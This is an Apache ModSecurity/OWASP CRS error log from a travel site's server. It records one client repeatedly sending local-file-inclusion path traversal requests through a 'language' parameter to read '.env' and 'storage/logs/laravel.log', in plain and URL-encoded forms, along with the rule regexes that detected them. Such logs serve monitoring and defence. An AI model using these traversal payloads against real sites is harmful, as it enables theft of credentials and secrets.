/?language=../../../../.env&ref=ctnf0fk5j2vutlpr7aw6zwnxtovk0i61zz_c0glxzjthsptikrhku52oilcorhiuvronoi82ktaj2np9iqi3ylsywtupl84w5vjiore4upm9tvke24shjngefcc72tbfj8kw1qoyijn_9p23yejag_m2sp28dpptyrbyijcprf56o3bvs4w7xzhfly2iw992fr0sotkaztznmvodvionzmbf5yptnovdh8fhor75hmpsyswcycae1ahnj-dpprquxlcahx__3wueelcodq4eorox&cb=xjoep7hmkhdk6wexq7qcw4ronu4zrvncrdflxcm3wudwh2cj7opmmansmvtjo4xty6cpe5nkqrgldewiuz5fhn7ivm5b2i72ctn34iacjkwym2pmpfbfnmpjgkynla3ylialjo7wskr2327i3tbq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.921969 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.922002 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.923265 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.923436 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.923769 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.929994 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2F..%2F.env&ts=alejojvoDSQzgCjVsN7cSZLGxn44VcMp7C2xmOu4pPIAB1oF0wqObEmy4AZPrrYkKnCrOs8ZkrnQIp2bWCh0QPQxTXa3wuDmJmUhq4BxbTunHVem_3950yhMbKabfKxj-J94_IC3RmF0rvA9At8N828Ks9FuDP7qETFuHCndP_VynEq8s3z2nCwbW2elUbo7Lvnl_zP-i4SHHfw9Ym7DPxb6xV962o-jxcQGLzQM47kIKnUCjZrSiGZJNfRh1z1kb_D-jJh5ZcgeUuAjSDGjFzzB&ref=3XTDAIOXMFM577D6BXUN5LHW2IX37B6DZPNBYVDQICX72AS5FOCGDK3KKOBM7OG24V6SKAJ6RYSNL3BHKF6VLOEKZCXJCGZCBW2IQQNOEHIA4PP3XDGWY5DMHIXPYO4IBVCOE45NL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.930055 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.930104 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../.env&ts=alejojvoDSQzgCjVsN7cSZLGxn44VcMp7C2xmOu4pPIAB1oF0wqObEmy4AZPrrYkKnCrOs8ZkrnQIp2bWCh0QPQxTXa3wuDmJmUhq4BxbTunHVem_3950yhMbKabfKxj-J94_IC3RmF0rvA9At8N828Ks9FuDP7qETFuHCndP_VynEq8s3z2nCwbW2elUbo7Lvnl_zP-i4SHHfw9Ym7DPxb6xV962o-jxcQGLzQM47kIKnUCjZrSiGZJNfRh1z1kb_D-jJh5ZcgeUuAjSDGjFzzB&ref=3XTDAIOXMFM577D6BXUN5LHW2IX37B6DZPNBYVDQICX72AS5FOCGDK3KKOBM7OG24V6SKAJ6RYSNL3BHKF6VLOEKZCXJCGZCBW2IQQNOEHIA4PP3XDGWY5DMHIXPYO4IBVCOE45NLZOXIKJLSJF5E7Y..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.930157 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../.env&ts=alejojvodsqzgcjvsn7cszlgxn44vcmp7c2xmou4ppiab1of0wqobemy4azprrykkncros8zkrnqip2bwch0qpqxtxa3wudmjmuhq4bxbtunhvem_3950yhmbkabfkxj-j94_ic3rmf0rva9at8n828ks9fudp7qetfuhcndp_vyneq8s3z2ncwbw2elubo7lvnl_zp-i4shhfw9ym7dpxb6xv962o-jxcqglzqm47kiknucjzrsigzjnfrh1z1kb_d-jjh5zcgeuuajsdgjfzzb&ref=3xtdaioxmfm577d6bxun5lhw2ix37b6dzpnbyvdqicx72as5focgdk3kkobm7og24v6skaj6rysnl3bhkf6vloekzcxjcgzcbw2iqqnoehia4pp3xdgwy5dmhixpyo4ibvcoe45nlzoxikjlsjf5e7y..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.930182 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.930205 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.931350 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.931473 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.931753 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk1h1WDijTxd1xw5MIAAAAAc"]
[Fri Jul 17 08:55:07.933527 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2F..%2F..%2F..%2F.env&ts=KyJXzfEs1dLYCxqv2e01bF_BVCjM-0f_Q0r0hsnALfLThGWKsbx1TA-87mMSepW1LAtwfYkvqSgj0NEGdLX8UFbFCMI8kItWerOQ_RitTqFzHpEt4olh2onGSkv_ygnHUuHDZdkf1_q1Zm9rkfqUll_OroiwOoJE1dMQcgr9qVmH9fUe7Z4aK8ggyV0o80yz2-RWepjeD30gLnrrmqCynfY-7nzctTjz5f54KyfQxNxgm9KGqYUxhWq4dOc-qjKrYCd9m3tBQjNW2B7ekAOqofkX&token=X7Y346SUOVTYMZ2XTWB7UII4IIZWE3SGL3WSWVIMA3YFCIFOCMFMSSN6UFEWBM6YP6GNUNX7FREXIMCZ374RHN4PKMOIJUC3RMA6H67YBP2ZYSAJ4U2BLRNEQKWEQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.933581 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.933639 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../../../.env&ts=KyJXzfEs1dLYCxqv2e01bF_BVCjM-0f_Q0r0hsnALfLThGWKsbx1TA-87mMSepW1LAtwfYkvqSgj0NEGdLX8UFbFCMI8kItWerOQ_RitTqFzHpEt4olh2onGSkv_ygnHUuHDZdkf1_q1Zm9rkfqUll_OroiwOoJE1dMQcgr9qVmH9fUe7Z4aK8ggyV0o80yz2-RWepjeD30gLnrrmqCynfY-7nzctTjz5f54KyfQxNxgm9KGqYUxhWq4dOc-qjKrYCd9m3tBQjNW2B7ekAOqofkX&token=X7Y346SUOVTYMZ2XTWB7UII4IIZWE3SGL3WSWVIMA3YFCIFOCMFMSSN6UFEWBM6YP6GNUNX7FREXIMCZ374RHN4PKMOIJUC3RMA6H67YBP2ZYSAJ4U2BLRNEQKWEQPDE3QME26WKKAXV3MB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.933680 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../../../.env&ts=kyjxzfes1dlycxqv2e01bf_bvcjm-0f_q0r0hsnalflthgwksbx1ta-87mmsepw1latwfykvqsgj0negdlx8ufbfcmi8kitweroq_rittqfzhpet4olh2ongskv_ygnhuuhdzdkf1_q1zm9rkfqull_oroiwooje1dmqcgr9qvmh9fue7z4ak8ggyv0o80yz2-rwepjed30glnrrmqcynfy-7nzcttjz5f54kyfqxnxgm9kgqyuxhwq4doc-qjkrycd9m3tbqjnw2b7ekaoqofkx&token=x7y346suovtymz2xtwb7uii4iizwe3sgl3wswvima3yfcifocmfmssn6ufewbm6yp6gnunx7freximcz374rhn4pkmoijuc3rma6h67ybp2zysaj4u2blrneqkweqpde3qme26wkkaxv3mb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.933702 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.933721 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.935397 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.935557 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.935877 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfLgAAAA8"]
[Fri Jul 17 08:55:07.943484 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&extra=_ZV02uVpyyB1sKrppkD1YqfADTzhiuTfUGvUz3-7SeABDmQjTyIcfYhUiPNnLBt2RK3y5Cba3dlrVdLNsNcPaq59ZUFS8C8ZuBCRLQ-iYKRIDJhy1A1jMfK0E2U537txF7hWlD3pEVu5Trocbvukaso2RxaFPZiixbu2F7huQrxC3pAgmBQtOh5SA5gWXNxMJ50bf5ksHpCjCGQjsUKKVSsqQQOjPmqOIlz55PHp1ec-M5oxRc0CxTLGDIgaS9V5Al5T16n1t2L-SrDW0Mo_0BE4&cb=SZOF46Q2DMFSEUDI6LUZFAHFJIVE2YY67ZMILOQLCARK3MMVLQVF4Y5PQ3YIHXN4GE6YC4O5U6QQGUTXF5J7HNXINQIVPPBCZVHD66USPLELC76..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.943540 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.943590 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../storage/logs/laravel.log&extra=_ZV02uVpyyB1sKrppkD1YqfADTzhiuTfUGvUz3-7SeABDmQjTyIcfYhUiPNnLBt2RK3y5Cba3dlrVdLNsNcPaq59ZUFS8C8ZuBCRLQ-iYKRIDJhy1A1jMfK0E2U537txF7hWlD3pEVu5Trocbvukaso2RxaFPZiixbu2F7huQrxC3pAgmBQtOh5SA5gWXNxMJ50bf5ksHpCjCGQjsUKKVSsqQQOjPmqOIlz55PHp1ec-M5oxRc0CxTLGDIgaS9V5Al5T16n1t2L-SrDW0Mo_0BE4&cb=SZOF46Q2DMFSEUDI6LUZFAHFJIVE2YY67ZMILOQLCARK3MMVLQVF4Y5PQ3YIHXN4GE6YC4O5U6QQGUTXF5J7HNXINQIVPPBCZVHD66USPLELC76C6Z5UPAX7LX3GCM6JA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
